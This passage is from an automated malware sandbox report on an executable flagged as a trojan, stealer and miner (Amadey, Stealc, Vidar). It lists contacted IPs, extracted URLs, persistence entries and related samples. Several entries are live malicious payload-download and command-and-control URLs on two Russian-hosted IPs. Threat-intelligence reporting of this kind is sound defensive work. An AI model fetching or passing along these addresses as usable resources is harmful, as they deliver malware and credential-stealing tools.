00000025.00000002.2968268599.00000282725CF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/F	firefox.exe, 00000010.00000003.2770878514.0000025CA6D30000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2752701999.0000025CA6D29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/Kiru9gu/index.phpMN	axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/soka/random.exea	file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.youtube.com/	firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	firefox.exe, 00000010.00000003.2708415909.0000025CAC558000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000010.00000003.2276402209.0000025CA7B08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 00000010.00000003.2252300150.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2083905777.0000025CA91A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273469753.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tsn.ca#	firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/num.exe	explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bugzilla.mo	firefox.exe, 00000010.00000003.2073110115.0000025CABCB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2531578596.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2254069507.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comx	firefox.exe, 00000010.00000003.2697627315.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2697865089.0000025CA6D33000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.comlvfet	firefox.exe, 00000010.00000003.2534004573.0000025CA6D32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2043345274.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 00000010.00000003.2276122543.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2085327619.0000025CA7B6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2253977893.0000025CA7B6B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://77.91.77.81/cost/go.exe#	file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/vcruntime140.dllf	file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comTCX	firefox.exe, 00000010.00000003.2696147821.0000025CA6D35000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=default-theme%40mozilla.org%2Caddons-	firefox.exe, 00000010.00000003.2254118550.0000025CA7B3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2274746582.0000025CA7BC7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.comZ	firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 00000010.00000003.2274234162.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2138040584.0000025CA8CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2084778907.0000025CA8CAF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/nss3.dllU	file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/MPL/2.0/.	firefox.exe, 00000010.00000003.2072486574.0000025CAC73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2063422564.0000025CA83F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2119135401.0000025CAABA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256404512.0000025CAAB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2082635570.0000025CAA487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071931935.0000025CAD448000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2082495479.0000025F0003F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2119369835.0000025CAAB8E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2256404512.0000025CAAB9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2075178603.0000025CAABC6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071227014.0000025CADE1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2267835404.0000025CAC740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2280116249.0000025CAAE37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2038187297.0000025CADE1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2071931935.0000025CAD451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2064709289.0000025CAABC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2069917574.0000025CAABC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2064709289.0000025CAAB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2075342113.0000025CAABA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2081404970.0000025CAAC1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2279197075.0000025CAAB9A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.openh264.org/	firefox.exe, 00000010.00000003.2134591111.0000025CAAF41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2271584351.0000025CAAF41000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	firefox.exe, 00000010.00000003.2071931935.0000025CAD451000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2031691341.0000025CADE77000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://coverage.mozilla.org	firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
172.253.63.84	unknown	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.40.179.37	unknown	United States	16625	AKAMAI-ASUS	false
142.250.185.142	www3.l.google.com	United States	15169	GOOGLEUS	false
143.204.215.122	services.addons.mozilla.org	United States	16509	AMAZON-02US	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
142.251.35.174	unknown	United States	15169	GOOGLEUS	false
142.250.80.106	unknown	United States	15169	GOOGLEUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.80.100	unknown	United States	15169	GOOGLEUS	false
142.250.185.110	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
142.250.186.142	play.google.com	United States	15169	GOOGLEUS	false
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false
216.58.212.174	unknown	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
185.196.10.57	unknown	Switzerland	42624	SIMPLECARRIERCH	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1479775
Start date and time:	2024-07-24 02:38:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@150/426@44/30
EGA Information:	Successful, ratio: 42.9%
HCA Information:	Successful, ratio: 61% Number of executed functions: 82 Number of non-executed functions: 141
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 74.125.133.84, 142.250.185.78, 93.184.221.240, 34.104.35.123, 13.107.42.16, 13.107.21.239, 204.79.197.239, 216.58.206.78, 13.107.6.158, 142.250.186.99, 66.102.1.84, 142.251.168.84, 2.19.126.145, 2.19.126.152, 216.58.206.35, 192.229.221.95, 2.23.209.133, 2.23.209.187, 142.250.185.234, 142.250.186.74, 172.217.16.202, 142.250.74.202, 142.250.181.234, 142.250.186.42, 142.250.185.74, 216.58.206.74, 142.250.184.202, 172.217.18.10, 142.250.185.106, 172.217.16.138, 142.250.185.202, 142.250.186.106, 142.250.185.170, 142.250.185.138, 172.217.18.3, 142.250.185.67, 23.32.185.164, 52.182.143.212, 216.58.212.138, 216.58.206.42, 2.22.61.59, 2.22.61.57, 142.250.184.206, 172.217.23.110, 142.250.184.227, 52.168.117.173, 152.199.19.161, 20.42.73.29, 142.250.185.206, 69.164.46.128, 142.251.40.163, 142.250.65.163, 142.250.65.195
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, a416.dscd.akamai.net, clientservices.googleapis.com, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, fs.microsoft.com, content-autofill.googleapis.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, locatio
Execution Graph export aborted for target RoamingBKEHDGDGHC.exe, PID 8200 because it is empty
Execution Graph export aborted for target explorti.exe, PID 10448 because there are no executed function
Execution Graph export aborted for target userBGCAFHCAKF.exe, PID 5084 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:39:28	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
01:39:29	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
01:39:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:39:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
01:40:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1a87deddda.exe C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe
01:40:22	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1a87deddda.exe C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe
01:40:30	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.exe
20:39:14	API Interceptor	3x Sleep call for process: svchost.exe modified
20:39:42	API Interceptor	2x Sleep call for process: WerFault.exe modified
20:40:03	API Interceptor	1145x Sleep call for process: explorti.exe modified
20:40:03	API Interceptor	1125x Sleep call for process: axplong.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.61.3	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	Bravo.1.0.8.x64-userinstaller.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	0Zplp6OB04.exe	Get hash	malicious	Babadeda	Browse
	BraveBrowserSetup-BRV030.exe	Get hash	malicious	Unknown	Browse
	245.exe	Get hash	malicious	FormBook	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
85.28.47.31	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.115
	file.exe	Get hash	malicious	Unknown	Browse	18.66.196.17
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.105
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	3.164.68.56
	file.exe	Get hash	malicious	Unknown	Browse	3.164.68.122
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.115
	file.exe	Get hash	malicious	Unknown	Browse	18.65.39.31
	file.exe	Get hash	malicious	Unknown	Browse	18.65.39.112
prod.remote-settings.prod.webservices.mozgcp.net	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
	file.exe	Get hash	malicious	Unknown	Browse	34.149.100.209
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	162.159.61.3
	https://tracking.solutiondynamics.com/?cid=Watercare&src=Billing&eid=88632987&jid=90888&event=Mark2&dest=https://promising-sparkle-d7f0c0cfc9.media.strapiapp.com/tapped_in_winter_2024_a4a6bbe379.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	162.159.61.3
	https://pdf-viewer.nyc3.digitaloceanspaces.com/view-online.pdf	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.64.41.3
	Bravo.1.0.8.x64-userinstaller.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Babadeda, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	172.64.41.3
	bCf3oao8Yl.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	162.159.61.3
	0Zplp6OB04.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
example.org	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.girisim.io/	Get hash	malicious	Unknown	Browse	104.21.5.3
	Comprovante-Pagamento_66a04578f18a3.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	172.66.43.27
	http://url4546.demandforced3.com/ls/click?upn=u001.kFcstHWq6udTGc5jscRb-2B2zo4s0I1Y8xyKrdXPNosYlmasd5-2BzTghgk0VSKApn0OExTx1I3l37Gb5Hscrycu4HM1526D-2B2uFUorvkn7VY5S4Ox82hZJvapDCyhOI4SCDb6Yczqawf813BIfyjCIQx1njjyrzfVr6IO-2B2YR3OII62g-2BHdpB1VFl0evqbFJ8ON8VlDG5vOwgeIhDOnPXtQc9-2ByJphlTLBgbsDLysjVZWA-3D-ATB_YxDu8U4YIeEoRQQehCYlxYXbaonyG5pUICq0OKC2Bx-2FV6SL0ZEom3QHUtoxmGY-2BMy-2BFktmwwaFK1b0EuBATFMD9f-2FVcSTjz4aZmpZ89-2FhpNblh-2FgEsBAhmmKtBzlVdaU9bnetZcAaGhWN17u0mZUbfVQDV8GgJl0HXxpH70cs-2Bm9WG34gppA-2BsnED4tIHV69SSAlj2pZt2FEgQHGwq2BU6o2deKlAameRFm8thHxAsjw9acyMaeTmKei4UPpfljIJMQJUshFxbhXuHIqWLORZ-2FqDoN0Y47fEO9wc1fB9G6cgjGRYIgqW9UGhcwUbNK9CIXNrFcwnNw9N64-2B-2BOf28WOcSDbZNJaf-2FTU7lFXilRiFu1zUqW6h0h3vXQ3wankNy0npLaMrMKRaT5wOtc8hIAMDAbYokqCsEfPUQKdsye4K-2Fc335a3leTszB-2BXdKhfbZ	Get hash	malicious	Unknown	Browse	104.21.29.135
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	172.64.41.3
	https://forms.office.com/Pages/ResponsePage.aspx?id=1Q-W37eeFkOVQFk99a-XlFYn76Ck1HRGrw1irS-ELQ9URTlQNkZEQk9aR1UyU0ZYQzNDUjVRWk1YUi4u	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://drive.google.com/uc?export=download&id=1wbwVQjuH1HWwuDUlx8RyevjY45uih2Tz	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://create.piktochart.com/embed/21719c931afb-view-document	Get hash	malicious	Unknown	Browse	104.26.13.189
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	172.67.74.152
	[SUSPECTED SPAM] Your Delivery Has Been Delayed Due to an Address Issue.eml	Get hash	malicious	Unknown	Browse	162.159.61.3
	http://pub-c098a9df86b743fa91e4681b997ad763.r2.dev/doc_start.html?folder=oquwappyolbhdrb75vnt&ledge	Get hash	malicious	Greatness Phishing Kit, HTMLPhisher	Browse	172.67.74.152
